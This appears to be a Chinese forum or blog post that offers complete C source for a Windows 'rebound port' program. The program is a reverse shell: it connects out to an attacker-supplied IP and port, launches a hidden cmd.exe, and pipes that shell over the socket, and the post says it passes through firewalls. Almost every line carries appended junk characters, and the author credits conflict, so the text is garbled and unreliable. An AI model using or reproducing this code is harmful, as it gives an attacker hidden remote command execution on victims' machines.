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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 y;Xb." e~  
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/* ============================== 6OR5zXpk  
Rebound port in Windows NT S6-)N(3|  
By wind,2006/7 @k:f(c  
===============================*/ 9z7^0Ruw  
#include %^s;{aN*!  
#include 2`>/y  
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#pragma comment(lib,"wsock32.lib") <![tn#_  
V_f}Y8>e  
void OutputShell(); #PUvrA2Zl  
SOCKET sClient; KtzoL#CT  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; }&#R-eQT  
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void main(int argc,char **argv) p48M7OV  
{ 0STtwfTr:  
WSADATA stWsaData; XH4!|wz  
int nRet; `&$"oW{HW  
SOCKADDR_IN stSaiClient,stSaiServer; ^|y6oj  
JwWW w1  
if(argc != 3) #g[jwl'  
{ N),bhYS]  
printf("Useage:\n\rRebound DestIP DestPort\n"); (pM5B8U  
return; S|!)_RL  
} a@`15O:  
|_L\^T|6  
WSAStartup(MAKEWORD(2,2),&stWsaData); !xmvCH=2  
+7n;Bsk _  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `<&RZB2  
cPA-EH  
stSaiClient.sin_family = AF_INET; tiG=KHK%o  
stSaiClient.sin_port = htons(0); cF!ygz//  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); c:etJ  
t"M&Yy  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 0,+RF "R  
{ ?dMyhU}  
printf("Bind Socket Failed!\n"); taOD,}c|$  
return; *0zdI<Oe  
} *y[i~{7:  
D /ysS$!{  
stSaiServer.sin_family = AF_INET; FEj{/  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); yf`Nh  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 0[ MQp"z  
{<0=y#@u  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) i5wXT  
{ +U/+iI>0  
printf("Connect Error!"); %!%G\nv  
return; 19-|.9m(  
} (|%YyRaX  
OutputShell(); S@i*+&Ot  
} M mH[ 7R  
=au7'i|6  
void OutputShell() kBolDPvBG  
{ v0euvs  
char szBuff[1024]; x'Pp!  
SECURITY_ATTRIBUTES stSecurityAttributes; eh_ {-  
OSVERSIONINFO stOsversionInfo; -JOtvJIQI  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ,] HH%/h  
STARTUPINFO stStartupInfo; DM"nxTVre  
char *szShell; P2_UQ  
PROCESS_INFORMATION stProcessInformation; tDj~+lmdN  
unsigned long lBytesRead; 1{@f:~v?  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); #xL^S9P  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); q\wT[W31@  
stSecurityAttributes.lpSecurityDescriptor = 0; YEfa8'7R  
stSecurityAttributes.bInheritHandle = TRUE; w@&g9e6E  
ph\KTLU  
"@: b'm  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); r.1/ * i  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); USF&;M3  
2{ ^k*Cfd  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); I4'mU$)U  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N8a+X|3]0  
stStartupInfo.wShowWindow = SW_HIDE; p6~\U5rXm  
stStartupInfo.hStdInput = hReadPipe; mFCDwh]  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; heQ<%NIA"  
f9v%k'T[  
GetVersionEx(&stOsversionInfo); _  dFZR  
=#)Zm?[;  
switch(stOsversionInfo.dwPlatformId) t\LAotTF/  
{ HPl'u'.Hg  
case 1: !V|i\O|Q2  
szShell = "command.com"; I*c B Ha  
break; WrvSYqN  
default: MZp`  
szShell = "cmd.exe"; 2<&lrsh  
break; c%p7?3Ry  
} b+/XVEsr  
-I."= c%  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ,>(/}=Z.  
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send(sClient,szMsg,77,0); 9MfBsp}c  
while(1) E?%SOU<  
{ .xJW=G{/  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); qMy>: ,)Z  
if(lBytesRead) vbT"}+^Sh  
{ -*q:B[d  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); AIZs^ `_  
send(sClient,szBuff,lBytesRead,0); Q}ebw  
} G#{ Xd6L  
else wX(h]X"q  
{ paFiuQ  
lBytesRead=recv(sClient,szBuff,1024,0);  d+FS  
if(lBytesRead<=0) break; 6zuWG0t  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); E/x2LYH  
} #H9J/k_  
} ! 63>II  
vrVb/hhG  
return; WjfUbKg0  
}
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